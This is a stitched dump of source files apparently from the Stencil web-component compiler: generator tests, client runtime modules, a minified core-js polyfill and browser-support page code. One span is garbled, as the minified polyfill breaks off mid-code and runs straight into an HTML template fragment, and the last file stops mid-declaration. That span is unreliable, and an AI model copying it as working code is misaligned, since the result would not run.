'css'; }); afterAll(() => { jest.resetAllMocks(); }); it('should exit with an error if no `configPath` is supplied', async () => { const { config, errorSpy } = await setup(); config.configPath = undefined; await taskGenerate(config); expect(config.sys.exit).toHaveBeenCalledWith(1); expect(errorSpy).toHaveBeenCalledWith( 'Please run this command in your root directory (i. e. the one containing stencil.config.ts).', ); }); it('should exit with an error if no `srcDir` is supplied', async () => { const { config, errorSpy } = await setup(); config.srcDir = undefined; await taskGenerate(config); expect(config.sys.exit).toHaveBeenCalledWith(1); expect(errorSpy).toHaveBeenCalledWith("Stencil's srcDir was not specified."); }); it('should exit with an error if the component name does not validate', async () => { const { config, errorSpy, validateTagSpy } = await setup(); validateTagSpy.mockReturnValue('error error error'); await taskGenerate(config); expect(config.sys.exit).toHaveBeenCalledWith(1); expect(errorSpy).toHaveBeenCalledWith('error error error'); }); it.each([true, false])('should create a directory for the generated components', async (includeTests) => { const { config } = await setup(); if (!includeTests) { promptMock.mockResolvedValue({ tagName: 'my-component', // simulate the user picking only the css option filesToGenerate: ['css'], }); } const createDirSpy = jest.spyOn(config.sys, 'createDir'); await silentGenerate(config); expect(createDirSpy).toHaveBeenCalledWith( includeTests ? `${config.srcDir}/components/my-component/test` : `${config.srcDir}/components/my-component`, { recursive: true }, ); }); it('should generate the files the user picked', async () => { const { config } = await setup(); const writeFileSpy = jest.spyOn(config.sys, 'writeFile'); await silentGenerate(config); const userChoices: ReadonlyArray = [ { extension: 'tsx', path: '/src/components/my-component/my-component.tsx' }, { extension: 'css', path: '/src/components/my-component/my-component.css' }, { extension: 'spec.tsx', path: '/src/components/my-component/test/my-component.spec.tsx' }, { extension: 'e2e.ts', path: '/src/components/my-component/test/my-component.e2e.ts' }, ]; userChoices.forEach((file) => { expect(writeFileSpy).toHaveBeenCalledWith( file.path, getBoilerplateByExtension('my-component', file.extension, true, 'css'), ); }); }); it('should error without writing anything if a to-be-generated file is already present', async () => { const { config, errorSpy } = await setup(); jest.spyOn(config.sys, 'readFile').mockResolvedValue('some file contents'); await silentGenerate(config); expect(errorSpy).toHaveBeenCalledWith( 'Generating code would overwrite the following files:', '\t/src/components/my-component/my-component.tsx', '\t/src/components/my-component/my-component.css', '\t/src/components/my-component/test/my-component.spec.tsx', '\t/src/components/my-component/test/my-component.e2e.ts', ); expect(config.sys.exit).toHaveBeenCalledWith(1); }); it('should generate files for sass projects', async () => { const { config } = await setup([{ name: 'sass' }]); const writeFileSpy = jest.spyOn(config.sys, 'writeFile'); await silentGenerate(config); const userChoices: ReadonlyArray = [ { extension: 'tsx', path: '/src/components/my-component/my-component.tsx' }, { extension: 'sass', path: '/src/components/my-component/my-component.sass' }, { extension: 'spec.tsx', path: '/src/components/my-component/test/my-component.spec.tsx' }, { extension: 'e2e.ts', path: '/src/components/my-component/test/my-component.e2e.ts' }, ]; userChoices.forEach((file) => { expect(writeFileSpy).toHaveBeenCalledWith( file.path, getBoilerplateByExtension('my-component', file.extension, true, 'sass'), ); }); }); it('should generate files for less projects', async () => { formatToPick = 'less'; const { config } = await setup([{ name: 'less' }]); const writeFileSpy = jest.spyOn(config.sys, 'writeFile'); await silentGenerate(config); const userChoices: ReadonlyArray = [ { extension: 'tsx', path: '/src/components/my-component/my-component.tsx' }, { extension: 'less', path: '/src/components/my-component/my-component.less' }, { extension: 'spec.tsx', path: '/src/components/my-component/test/my-component.spec.tsx' }, { extension: 'e2e.ts', path: '/src/components/my-component/test/my-component.e2e.ts' }, ]; userChoices.forEach((file) => { expect(writeFileSpy).toHaveBeenCalledWith( file.path, getBoilerplateByExtension('my-component', file.extension, true, 'less'), ); }); }); }); ================================================ FILE: src/client/client-build.ts ================================================ import { BUILD } from '@app-data'; import type * as d from '../declarations'; export const Build: d.UserBuildConditionals = { isDev: BUILD.isDev ? true : false, isBrowser: true, isServer: false, isTesting: BUILD.isTesting ? true : false, }; ================================================ FILE: src/client/client-host-ref.ts ================================================ import { BUILD } from '@app-data'; import { CMP_FLAGS } from '@utils/constants'; import { reWireGetterSetter } from '@utils/es2022-rewire-class-members'; import type * as d from '../declarations'; /** * Given a {@link d.RuntimeRef} retrieve the corresponding {@link d.HostRef} * * @param ref the runtime ref of interest * @returns the Host reference (if found) or undefined */ export const getHostRef = (ref: d.RuntimeRef): d.HostRef | undefined => { if (ref.__stencil__getHostRef) { return ref.__stencil__getHostRef(); } return undefined; }; /** * Register a lazy instance with the {@link hostRefs} object so it's * corresponding {@link d.HostRef} can be retrieved later. * * @param lazyInstance the lazy instance of interest * @param hostRef that instances `HostRef` object */ export const registerInstance = (lazyInstance: any, hostRef: d.HostRef) => { if (!hostRef) return; lazyInstance.__stencil__getHostRef = () => hostRef; hostRef.$lazyInstance$ = lazyInstance; if (hostRef.$cmpMeta$.$flags$ & CMP_FLAGS.hasModernPropertyDecls && (BUILD.state || BUILD.prop)) { reWireGetterSetter(lazyInstance, hostRef); } }; /** * Register a host element for a Stencil component, setting up various metadata * and callbacks based on {@link BUILD} flags as well as the component's runtime * metadata. * * @param hostElement the host element to register * @param cmpMeta runtime metadata for that component * @returns a reference to the host ref WeakMap */ export const registerHost = (hostElement: d.HostElement, cmpMeta: d.ComponentRuntimeMeta) => { const hostRef: d.HostRef = { $flags$: 0, $hostElement$: hostElement, $cmpMeta$: cmpMeta, $instanceValues$: new Map(), $serializerValues$: new Map(), }; if (BUILD.isDev) { hostRef.$renderCount$ = 0; } if (BUILD.method && BUILD.lazyLoad) { hostRef.$onInstancePromise$ = new Promise((r) => (hostRef.$onInstanceResolve$ = r)); } if (BUILD.asyncLoading) { hostRef.$onReadyPromise$ = new Promise((r) => (hostRef.$onReadyResolve$ = r)); hostElement['s-p'] = []; hostElement['s-rc'] = []; } if (BUILD.lazyLoad) { hostRef.$fetchedCbList$ = []; } const ref = hostRef; hostElement.__stencil__getHostRef = () => ref; if (!BUILD.lazyLoad && cmpMeta.$flags$ & CMP_FLAGS.hasModernPropertyDecls && (BUILD.state || BUILD.prop)) { reWireGetterSetter(hostElement, hostRef); } return ref; }; export const isMemberInElement = (elm: any, memberName: string) => memberName in elm; ================================================ FILE: src/client/client-load-module.ts ================================================ import { BUILD } from '@app-data'; import type * as d from '../declarations'; import { consoleDevError, consoleError } from './client-log'; export const cmpModules = /*@__PURE__*/ new Map(); /** * We need to separate out this prefix so that Esbuild doesn't try to resolve * the below, but instead retains a dynamic `import()` statement in the * emitted code. * * See here for details https://esbuild.github.io/api/#non-analyzable-imports * * We need to do this in order to prevent Esbuild from analyzing / transforming * the input. However some _other_ bundlers will _not_ work with such an import * if it _lacks_ a leading `"./"`, so we thus we have to do a little dance * where here in the source code it must be like this, so that an undesirable * transformation that Esbuild would otherwise carry out doesn't occur, but we * actually need to then manually edit the bundled Esbuild code later on to fix * that. We do this with plugins in the Esbuild and Rollup bundles which * include this file. */ const MODULE_IMPORT_PREFIX = './'; export const loadModule = ( cmpMeta: d.ComponentRuntimeMeta, hostRef: d.HostRef, hmrVersionId?: string, ): Promise | d.ComponentConstructor | undefined => { // loadModuleImport const exportName = cmpMeta.$tagName$.replace(/-/g, '_'); const bundleId = cmpMeta.$lazyBundleId$; if (BUILD.isDev && typeof bundleId !== 'string') { consoleDevError( `Trying to lazily load component <${cmpMeta.$tagName$}> with style mode "${hostRef.$modeName$}", but it does not exist.`, ); return undefined; } else if (!bundleId) { return undefined; } const module = !BUILD.hotModuleReplacement ? cmpModules.get(bundleId) : false; if (module) { return module[exportName]; } /*!__STENCIL_STATIC_IMPORT_SWITCH__*/ return import( /* @vite-ignore */ /* webpackInclude: /\.entry\.js$/ */ /* webpackExclude: /\.system\.entry\.js$/ */ /* webpackMode: "lazy" */ `${MODULE_IMPORT_PREFIX}${bundleId}.entry.js${ BUILD.hotModuleReplacement && hmrVersionId ? '?s-hmr=' + hmrVersionId : '' }` ).then( (importedModule) => { if (!BUILD.hotModuleReplacement) { cmpModules.set(bundleId, importedModule); } return importedModule[exportName]; }, (e: Error) => { consoleError(e, hostRef.$hostElement$); }, ); }; ================================================ FILE: src/client/client-log.ts ================================================ import { BUILD } from '@app-data'; import type * as d from '../declarations'; let customError: d.ErrorHandler; export const consoleError: d.ErrorHandler = (e: any, el?: HTMLElement) => (customError || console.error)(e, el); export const STENCIL_DEV_MODE = BUILD.isTesting ? ['STENCIL:'] // E2E testing : [ '%cstencil', 'color: white;background:#4c47ff;font-weight: bold; font-size:10px; padding:2px 6px; border-radius: 5px', ]; export const consoleDevError = (...m: any[]) => console.error(...STENCIL_DEV_MODE, ...m); export const consoleDevWarn = (...m: any[]) => console.warn(...STENCIL_DEV_MODE, ...m); export const consoleDevInfo = (...m: any[]) => console.info(...STENCIL_DEV_MODE, ...m); export const setErrorHandler = (handler: d.ErrorHandler) => (customError = handler); ================================================ FILE: src/client/client-patch-browser.ts ================================================ import { BUILD, NAMESPACE } from '@app-data'; import { consoleDevInfo, H, promiseResolve, win } from '@platform'; import type * as d from '../declarations'; export const patchBrowser = (): Promise => { // NOTE!! This fn cannot use async/await! if (BUILD.isDev && !BUILD.isTesting) { consoleDevInfo('Running in development mode.'); } if (BUILD.cloneNodeFix) { // opted-in to polyfill cloneNode() for slot polyfilled components patchCloneNodeFix((H as any).prototype); } const scriptElm = BUILD.scriptDataOpts ? win.document && Array.from(win.document.querySelectorAll('script')).find( (s) => new RegExp(`\/${NAMESPACE}(\\.esm)?\\.js($|\\?|#)`).test(s.src) || s.getAttribute('data-stencil-namespace') === NAMESPACE, ) : null; const importMeta = import.meta.url; const opts = BUILD.scriptDataOpts ? ((scriptElm as any) || {})['data-opts'] || {} : {}; if (importMeta !== '') { opts.resourcesUrl = new URL('.', importMeta).href; } return promiseResolve(opts); }; const patchCloneNodeFix = (HTMLElementPrototype: any) => { const nativeCloneNodeFn = HTMLElementPrototype.cloneNode; HTMLElementPrototype.cloneNode = function (this: Node, deep: boolean) { if (this.nodeName === 'TEMPLATE') { return nativeCloneNodeFn.call(this, deep); } const clonedNode = nativeCloneNodeFn.call(this, false); const srcChildNodes = this.childNodes; if (deep) { for (let i = 0; i < srcChildNodes.length; i++) { // Node.ATTRIBUTE_NODE === 2, and checking because IE11 if (srcChildNodes[i].nodeType !== 2) { clonedNode.appendChild(srcChildNodes[i].cloneNode(true)); } } } return clonedNode; }; }; ================================================ FILE: src/client/client-style.ts ================================================ import type * as d from '../declarations'; export const styles: d.StyleMap = /*@__PURE__*/ new Map(); export const modeResolutionChain: d.ResolutionHandler[] = []; export const setScopedSSR = (_opts: d.HydrateFactoryOptions) => {}; export const needsScopedSSR = () => false; ================================================ FILE: src/client/client-task-queue.ts ================================================ import { BUILD } from '@app-data'; import type * as d from '../declarations'; import { PLATFORM_FLAGS } from '../runtime/runtime-constants'; import { consoleError } from './client-log'; import { plt, promiseResolve } from './client-window'; let queueCongestion = 0; let queuePending = false; const queueDomReads: d.RafCallback[] = []; const queueDomWrites: d.RafCallback[] = []; const queueDomWritesLow: d.RafCallback[] = []; const queueTask = (queue: d.RafCallback[], write: boolean) => (cb: d.RafCallback) => { queue.push(cb); if (!queuePending) { queuePending = true; if (write && plt.$flags$ & PLATFORM_FLAGS.queueSync) { nextTick(flush); } else { plt.raf(flush); } } }; const consume = (queue: d.RafCallback[]) => { for (let i = 0; i < queue.length; i++) { try { queue[i](performance.now()); } catch (e) { consoleError(e); } } queue.length = 0; }; const consumeTimeout = (queue: d.RafCallback[], timeout: number) => { let i = 0; let ts = 0; while (i < queue.length && (ts = performance.now()) < timeout) { try { queue[i++](ts); } catch (e) { consoleError(e); } } if (i === queue.length) { queue.length = 0; } else if (i !== 0) { queue.splice(0, i); } }; const flush = () => { if (BUILD.asyncQueue) { queueCongestion++; } // always force a bunch of medium callbacks to run, but still have // a throttle on how many can run in a certain time // DOM READS!!! consume(queueDomReads); // DOM WRITES!!! if (BUILD.asyncQueue) { const timeout = (plt.$flags$ & PLATFORM_FLAGS.queueMask) === PLATFORM_FLAGS.appLoaded ? performance.now() + 14 * Math.ceil(queueCongestion * (1.0 / 10.0)) : Infinity; consumeTimeout(queueDomWrites, timeout); consumeTimeout(queueDomWritesLow, timeout); if (queueDomWrites.length > 0) { queueDomWritesLow.push(...queueDomWrites); queueDomWrites.length = 0; } if ((queuePending = queueDomReads.length + queueDomWrites.length + queueDomWritesLow.length > 0)) { // still more to do yet, but we've run out of time // let's let this thing cool off and try again in the next tick plt.raf(flush); } else { queueCongestion = 0; } } else { consume(queueDomWrites); if ((queuePending = queueDomReads.length > 0)) { // still more to do yet, but we've run out of time // let's let this thing cool off and try again in the next tick plt.raf(flush); } } }; export const nextTick = (cb: () => void) => promiseResolve().then(cb); export const readTask = /*@__PURE__*/ queueTask(queueDomReads, false); export const writeTask = /*@__PURE__*/ queueTask(queueDomWrites, true); ================================================ FILE: src/client/client-window.ts ================================================ import { BUILD } from '@app-data'; import type * as d from '../declarations'; interface StencilWindow extends Omit { document?: Document; } export const win = (typeof window !== 'undefined' ? window : ({} as StencilWindow)) as StencilWindow; export const H = ((win as any).HTMLElement || (class {} as any)) as HTMLElement; export const plt: d.PlatformRuntime = { $flags$: 0, $resourcesUrl$: '', jmp: (h) => h(), raf: (h) => requestAnimationFrame(h), ael: (el, eventName, listener, opts) => el.addEventListener(eventName, listener, opts), rel: (el, eventName, listener, opts) => el.removeEventListener(eventName, listener, opts), ce: (eventName, opts) => new CustomEvent(eventName, opts), }; export const setPlatformHelpers = (helpers: { jmp?: (c: any) => any; raf?: (c: any) => number; ael?: (el: any, eventName: string, listener: any, options: any) => void; rel?: (el: any, eventName: string, listener: any, options: any) => void; ce?: (eventName: string, opts?: any) => any; }) => { Object.assign(plt, helpers); }; export const supportsShadow = BUILD.shadowDom; export const supportsListenerOptions = /*@__PURE__*/ (() => { let supportsListenerOptions = false; try { win.document?.addEventListener( 'e', null, Object.defineProperty({}, 'passive', { get() { supportsListenerOptions = true; }, }), ); } catch (e) {} return supportsListenerOptions; })(); export const promiseResolve = (v?: any) => Promise.resolve(v); export const supportsConstructableStylesheets = BUILD.constructableCSS ? /*@__PURE__*/ (() => { try { if (!win.document.adoptedStyleSheets) { return false; } new CSSStyleSheet(); return typeof new CSSStyleSheet().replaceSync === 'function'; } catch (e) {} return false; })() : false; // https://github.com/salesforce/lwc/blob/5af18fdd904bc6cfcf7b76f3c539490ff11515b2/packages/%40lwc/engine-dom/src/renderer.ts#L41-L43 export const supportsMutableAdoptedStyleSheets = supportsConstructableStylesheets ? /*@__PURE__*/ (() => !!win.document && Object.getOwnPropertyDescriptor(win.document.adoptedStyleSheets, 'length')!.writable)() : false; export { H as HTMLElement }; ================================================ FILE: src/client/index.ts ================================================ export * from './client-build'; export * from './client-host-ref'; export * from './client-load-module'; export * from './client-log'; export * from './client-style'; export * from './client-task-queue'; export * from './client-window'; export { BUILD, Env, NAMESPACE } from '@app-data'; export * from '@runtime'; ================================================ FILE: src/client/polyfills/core-js.js ================================================ /** * core-js 3.6.5 * https://github.com/zloirock/core-js * License: http://rock.mit-license.org * © 2019 Denis Pushkarev (zloirock.ru) */ !function(t){"use strict";!function(t){var n={};function e(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,e),o.l=!0,o.exports}e.m=t,e.c=n,e.d=function(t,n,r){e.o(t,n)||Object.defineProperty(t,n,{enumerable:!0,get:r})},e.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},e.t=function(t,n){if(1&n&&(t=e(t)),8&n)return t;if(4&n&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(e.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&n&&"string"!=typeof t)for(var o in t)e.d(r,o,function(n){return t[n]}.bind(null,o));return r},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,"a",n),n},e.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},e.p="",e(e.s=0)}([function(t,n,e){e(1),e(55),e(62),e(68),e(70),e(71),e(72),e(73),e(75),e(76),e(78),e(87),e(88),e(89),e(98),e(99),e(101),e(102),e(103),e(105),e(106),e(107),e(108),e(110),e(111),e(112),e(113),e(114),e(115),e(116),e(117),e(118),e(127),e(130),e(131),e(133),e(135),e(136),e(137),e(138),e(139),e(141),e(143),e(146),e(148),e(150),e(151),e(153),e(154),e(155),e(156),e(157),e(159),e(160),e(162),e(163),e(164),e(165),e(166),e(167),e(168),e(169),e(170),e(172),e(173),e(183),e(184),e(185),e(189),e(191),e(192),e(193),e(194),e(195),e(196),e(198),e(201),e(202),e(203),e(204),e(208),e(209),e(212),e(213),e(214),e(215),e(216),e(217),e(218),e(219),e(221),e(222),e(223),e(226),e(227),e(228),e(229),e(230),e(231),e(232),e(233),e(234),e(235),e(236),e(237),e(238),e(240),e(241),e(243),e(248),t.exports=e(246)},function(t,n,e){var r=e(2),o=e(6),i=e(45),a=e(14),u=e(46),c=e(39),f=e(47),s=e(48),l=e(52),p=e(49),h=e(53),v=p("isConcatSpreadable"),g=h>=51||!o((function(){var t=[];return t[v]=!1,t.concat()[0]!==t})),d=l("concat"),y=function(t){if(!a(t))return!1;var n=t[v];return void 0!==n?!!n:i(t)};r({target:"Array",proto:!0,forced:!g||!d},{concat:function(t){var n,e,r,o,i,a=u(this),l=s(a,0),p=0;for(n=-1,r=arguments.length;n9007199254740991)throw TypeError("Maximum allowed index exceeded");for(e=0;e=9007199254740991)throw TypeError("Maximum allowed index exceeded");f(l,p++,i)}return l.length=p,l}})},function(t,n,e){var r=e(3),o=e(4).f,i=e(18),a=e(21),u=e(22),c=e(32),f=e(44);t.exports=function(t,n){var e,s,l,p,h,v=t.target,g=t.global,d=t.stat;if(e=g?r:d?r[v]||u(v,{}):(r[v]||{}).prototype)for(s in n){if(p=n[s],l=t.noTargetGet?(h=o(e,s))&&h.value:e[s],!f(g?s:v+(d?".":"#")+s,t.forced)&&void 0!==l){if(typeof p==typeof l)continue;c(p,l)}(t.sham||l&&l.sham)&&i(p,"sham",!0),a(e,s,p,t)}}},function(t,n){var e=function(t){return t&&t.Math==Math&&t};t.exports=e("object"==typeof globalThis&&globalThis)||e("object"==typeof window&&window)||e("object"==typeof self&&self)||e("object"==typeof global&&global)||Function("return this")()},function(t,n,e){var r=e(5),o=e(7),i=e(8),a=e(9),u=e(13),c=e(15),f=e(16),s=Object.getOwnPropertyDescriptor;n.f=r?s:function(t,n){if(t=a(t),n=u(n,!0),f)try{return s(t,n)}catch(t){}if(c(t,n))return i(!o.f.call(t,n),t[n])}},function(t,n,e){var r=e(6);t.exports=!r((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]}))},function(t,n){t.exports=function(t){try{return!!t()}catch(t){return!0}}},function(t,n,e){var r={}.propertyIsEnumerable,o=Object.getOwnPropertyDescriptor,i=o&&!r.call({1:2},1);n.f=i?function(t){var n=o(this,t);return!!n&&n.enumerable}:r},function(t,n){t.exports=function(t,n){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:n}}},function(t,n,e){var r=e(10),o=e(12);t.exports=function(t){return r(o(t))}},function(t,n,e){var r=e(6),o=e(11),i="".split;t.exports=r((function(){return!Object("z").propertyIsEnumerable(0)}))?function(t){return"String"==o(t)?i.call(t,""):Object(t)}:Object},function(t,n){var e={}.toString;t.exports=function(t){return e.call(t).slice(8,-1)}},function(t,n){t.exports=function(t){if(null==t)throw TypeError("Can't call method on "+t);return t}},function(t,n,e){var r=e(14);t.exports=function(t,n){if(!r(t))return t;var e,o;if(n&&"function"==typeof(e=t.toString)&&!r(o=e.call(t)))return o;if("function"==typeof(e=t.valueOf)&&!r(o=e.call(t)))return o;if(!n&&"function"==typeof(e=t.toString)&&!r(o=e.call(t)))return o;throw TypeError("Can't convert object to primitive value")}},function(t,n){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},function(t,n){var e={}.hasOwnProperty;t.exports=function(t,n){return e.call(t,n)}},function(t,n,e){var r=e(5),o=e(6),i=e(17);t.exports=!r&&!o((function(){return 7!=Object.defineProperty(i("div"),"a",{get:function(){return 7}}).a}))},function(t,n,e){var r=e(3),o=e(14),i=r.document,a=o(i)&&o(i.createElement);t.exports=function(t){return a?i.createElement(t):{}}},function(t,n,e){var r=e(5),o=e(19),i=e(8);t.exports=r?function(t,n,e){return o.f(t,n,i(1,e))}:function(t,n,e){return t[n]=e,t}},function(t,n,e){var r=e(5),o=e(16),i=e(20),a=e(13),u=Object.defineProperty;n.f=r?u:function(t,n,e){if(i(t),n=a(n,!0),i(e),o)try{return u(t,n,e)}catch(t){}if("get"in e||"set"in e)throw TypeError("Accessors not supported");return"value"in e&&(t[n]=e.value),t}},function(t,n,e){var r=e(14);t.exports=function(t){if(!r(t))throw TypeError(String(t)+" is not an object");return t}},function(t,n,e){var r=e(3),o=e(18),i=e(15),a=e(22),u=e(23),c=e(25),f=c.get,s=c.enforce,l=String(String).split("String");(t.exports=function(t,n,e,u){var c=!!u&&!!u.unsafe,f=!!u&&!!u.enumerable,p=!!u&&!!u.noTargetGet;"function"==typeof e&&("string"!=typeof n||i(e,"name")||o(e,"name",n),s(e).source=l.join("string"==typeof n?n:"")),t!==r?(c?!p&&t[n]&&(f=!0):delete t[n],f?t[n]=e:o(t,n,e)):f?t[n]=e:a(n,e)})(Function.prototype,"toString",(function(){return"function"==typeof this&&f(this).source||u(this)}))},function(t,n,e){var r=e(3),o=e(18);t.exports=function(t,n){try{o(r,t,n)}catch(e){r[t]=n}return n}},function(t,n,e){var r=e(24),o=Function.toString;"function"!=typeof r.inspectSource&&(r.inspectSource=function(t){return o.call(t)}),t.exports=r.inspectSource},function(t,n,e){var r=e(3),o=e(22),i=r["__core-js_shared__"]||o("__core-js_shared__",{});t.exports=i},function(t,n,e){var r,o,i,a=e(26),u=e(3),c=e(14),f=e(18),s=e(15),l=e(27),p=e(31),h=u.WeakMap;if(a){var v=new h,g=v.get,d=v.has,y=v.set;r=function(t,n){return y.call(v,t,n),n},o=function(t){return g.call(v,t)||{}},i=function(t){return d.call(v,t)}}else{var x=l("state");p[x]=!0,r=function(t,n){return f(t,x,n),n},o=function(t){return s(t,x)?t[x]:{}},i=function(t){return s(t,x)}}t.exports={set:r,get:o,has:i,enforce:function(t){return i(t)?o(t):r(t,{})},getterFor:function(t){return function(n){var e;if(!c(n)||(e=o(n)).type!==t)throw TypeError("Incompatible receiver, "+t+" required");return e}}}},function(t,n,e){var r=e(3),o=e(23),i=r.WeakMap;t.exports="function"==typeof i&&/native code/.test(o(i))},function(t,n,e){var r=e(28),o=e(30),i=r("keys");t.exports=function(t){return i[t]||(i[t]=o(t))}},function(t,n,e){var r=e(29),o=e(24);(t.exports=function(t,n){return o[t]||(o[t]=void 0!==n?n:{})})("versions",[]).push({version:"3.6.5",mode:r?"pure":"global",copyright:"© 2020 Denis Pushkarev (zloirock.ru)"})},function(t,n){t.exports=!1},function(t,n){var e=0,r=Math.random();t.exports=function(t){return"Symbol("+String(void 0===t?"":t)+")_"+(++e+r).toString(36)}},function(t,n){t.exports={}},function(t,n,e){var r=e(15),o=e(33),i=e(4),a=e(19);t.exports=function(t,n){for(var e=o(n),u=a.f,c=i.f,f=0;fc;)r(u,e=n[c++])&&(~i(f,e)||f.push(e));return f}},function(t,n,e){var r=e(9),o=e(39),i=e(41),a=function(t){return function(n,e,a){var u,c=r(n),f=o(c.length),s=i(a,f);if(t&&e!=e){for(;f>s;)if((u=c[s++])!=u)return!0}else for(;f>s;s++)if((t||s in c)&&c[s]===e)return t||s||0;return!t&&-1}};t.exports={includes:a(!0),indexOf:a(!1)}},function(t,n,e){var r=e(40),o=Math.min;t.exports=function(t){return t>0?o(r(t),9007199254740991):0}},function(t,n){var e=Math.ceil,r=Math.floor;t.exports=function(t){return isNaN(t=+t)?0:(t>0?r:e)(t)}},function(t,n,e){var r=e(40),o=Math.max,i=Math.min;t.exports=function(t,n){var e=r(t);return e<0?o(e+n,0):i(e,n)}},function(t,n){t.exports=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"]},function(t,n){n.f=Object.getOwnPropertySymbols},function(t,n,e){var r=e(6),o=/#|\.prototype\./,i=function(t,n){var e=u[a(t)];return e==f||e!=c&&("function"==typeof n?r(n):!!n)},a=i.normalize=function(t){return String(t).replace(o,".").toLowerCase()},u=i.data={},c=i.NATIVE="N",f=i.POLYFILL="P";t.exports=i},function(t,n,e){var r=e(11);t.exports=Array.isArray||function(t){return"Array"==r(t)}},function(t,n,e){var r=e(12);t.exports=function(t){return Object(r(t))}},function(t,n,e){var r=e(13),o=e(19),i=e(8);t.exports=function(t,n,e){var a=r(n);a in t?o.f(t,a,i(0,e)):t[a]=e}},function(t,n,e){var r=e(14),o=e(45),i=e(49)("species");t.exports=function(t,n){var e;return o(t)&&("function"!=typeof(e=t.constructor)||e!==Array&&!o(e.prototype)?r(e)&&null===(e=e[i])&&(e=void 0):e=void 0),new(void 0===e?Array:e)(0===n?0:n)}},function(t,n,e){var r=e(3),o=e(28),i=e(15),a=e(30),u=e(50),c=e(51),f=o("wks"),s=r.Symbol,l=c?s:s&&s.withoutSetter||a;t.exports=function(t){return i(f,t)||(u&&i(s,t)?f[t]=s[t]:f[t]=l("Symbol."+t)),f[t]}},function(t,n,e){var r=e(6);t.exports=!!Object.getOwnPropertySymbols&&!r((function(){return!String(Symbol())}))},function(t,n,e){var r=e(50);t.exports=r&&!Symbol.sham&&"symbol"==typeof Symbol.iterator},function(t,n,e){var r=e(6),o=e(49),i=e(53),a=o("species");t.exports=function(t){return i>=51||!r((function(){var n=[];return(n.constructor={})[a]=function(){return{foo:1}},1!==n[t](Boolean).foo}))}},function(t,n,e){var r,o,i=e(3),a=e(54),u=i.process,c=u&&u.versions,f=c&&c.v8;f?o=(r=f.split("."))[0]+r[1]:a&&(!(r=a.match(/Edge\/(\d+)/))||r[1]>=74)&&(r=a.match(/Chrome\/(\d+)/))&&(o=r[1]),t.exports=o&&+o},function(t,n,e){var r=e(34);t.exports=r("navigator","userAgent")||""},function(t,n,e){var r=e(2),o=e(56),i=e(57);r({target:"Array",proto:!0},{copyWithin:o}),i("copyWithin")},function(t,n,e){var r=e(46),o=e(41),i=e(39),a=Math.min;t.exports=[].copyWithin||function(t,n){var e=r(this),u=i(e.length),c=o(t,u),f=o(n,u),s=arguments.length>2?arguments[2]:void 0,l=a((void 0===s?u:o(s,u))-f,u-c),p=1;for(f0;)f in e?e[c]=e[f]:delete e[c],c+=p,f+=p;return e}},function(t,n,e){var r=e(49),o=e(58),i=e(19),a=r("unscopables"),u=Array.prototype;null==u[a]&&i.f(u,a,{configurable:!0,value:o(null)}),t.exports=function(t){u[a][t]=!0}},function(t,n,e){var r,o=e(20),i=e(59),a=e(42),u=e(31),c=e(61),f=e(17),s=e(27),l=s("IE_PROTO"),p=function(){},h=function(t){return" `)}

AFTER:

The index.html should now include two scripts using the modern ES Module script pattern. Note that only one file will actually be requested and loaded based on the browser's native support for ES Modules. For more info, please see Using JavaScript modules on the web.

  ${escapeHtml(`type="module" src="/build/${
    config.fsNamespace
  }.esm.js"${escapeHtml(`>`)}
  ${escapeHtml(`nomodule ${escapeHtml(
    `src="/build/${config.fsNamespace}.js">`,
  )}
    
`; return `${generatePreamble(config)} (function() { function checkSupport() { if (!document.body) { setTimeout(checkSupport); return; } function supportsDynamicImports() { try { new Function('import("")'); return true; } catch (e) {} return false; } var supportsEsModules = !!('noModule' in document.createElement('script')); if (!supportsEsModules) { document.body.innerHTML = '${inlineHTML(htmlLegacy)}'; document.getElementById('current-browser-output').textContent = window.navigator.userAgent; document.getElementById('es-modules-test').textContent = supportsEsModules; document.getElementById('es-dynamic-modules-test').textContent = supportsDynamicImports(); document.getElementById('shadow-dom-test').textContent = !!(document.head.attachShadow); document.getElementById('custom-elements-test').textContent = !!(window.customElements); document.getElementById('css-variables-test').textContent = !!(window.CSS && window.CSS.supports && window.CSS.supports('color', 'var(--c)')); document.getElementById('fetch-test').textContent = !!(window.fetch); } else { document.body.innerHTML = '${inlineHTML(htmlUpdate)}'; } } setTimeout(checkSupport); })();`; }; const inlineHTML = (html: string) => { return html.replace(/\n/g, '\\n').replace(/\'/g, `\\'`).trim(); }; ================================================ FILE: src/compiler/app-core/app-polyfills.ts ================================================ import { join } from '@utils'; import type * as d from '../../declarations'; export const getClientPolyfill = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, polyfillFile: string, ) => { const polyfillFilePath = join( config.sys.getCompilerExecutingPath(), '..', '..', 'internal', 'client', 'polyfills', polyfillFile, ); return compilerCtx.fs.readFile(polyfillFilePath); }; export const getAppBrowserCorePolyfills = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx) => { // read all the polyfill content, in this particular order const polyfills = INLINE_POLYFILLS.slice(); const results = await Promise.all( polyfills.map((polyfillFile) => getClientPolyfill(config, compilerCtx, polyfillFile)), ); // concat the polyfills return results.join('\n').trim(); }; // order of the polyfills matters!! test test test // actual source of the polyfills are found in /src/client/polyfills/ const INLINE_POLYFILLS = ['core-js.js', 'dom.js', 'es5-html-element.js', 'system.js']; ================================================ FILE: src/compiler/app-core/bundle-app-core.ts ================================================ import type { OutputAsset, OutputChunk, OutputOptions, RollupBuild } from 'rollup'; import type * as d from '../../declarations'; import { STENCIL_CORE_ID } from '../bundle/entry-alias-ids'; /** * Generate rollup output based on a rollup build and a series of options. * * @param build a rollup build * @param options output options for rollup * @param config a user-supplied configuration object * @param entryModules a list of entry modules, for checking which chunks * contain components * @returns a Promise wrapping either build results or `null` */ export const generateRollupOutput = async ( build: RollupBuild, options: 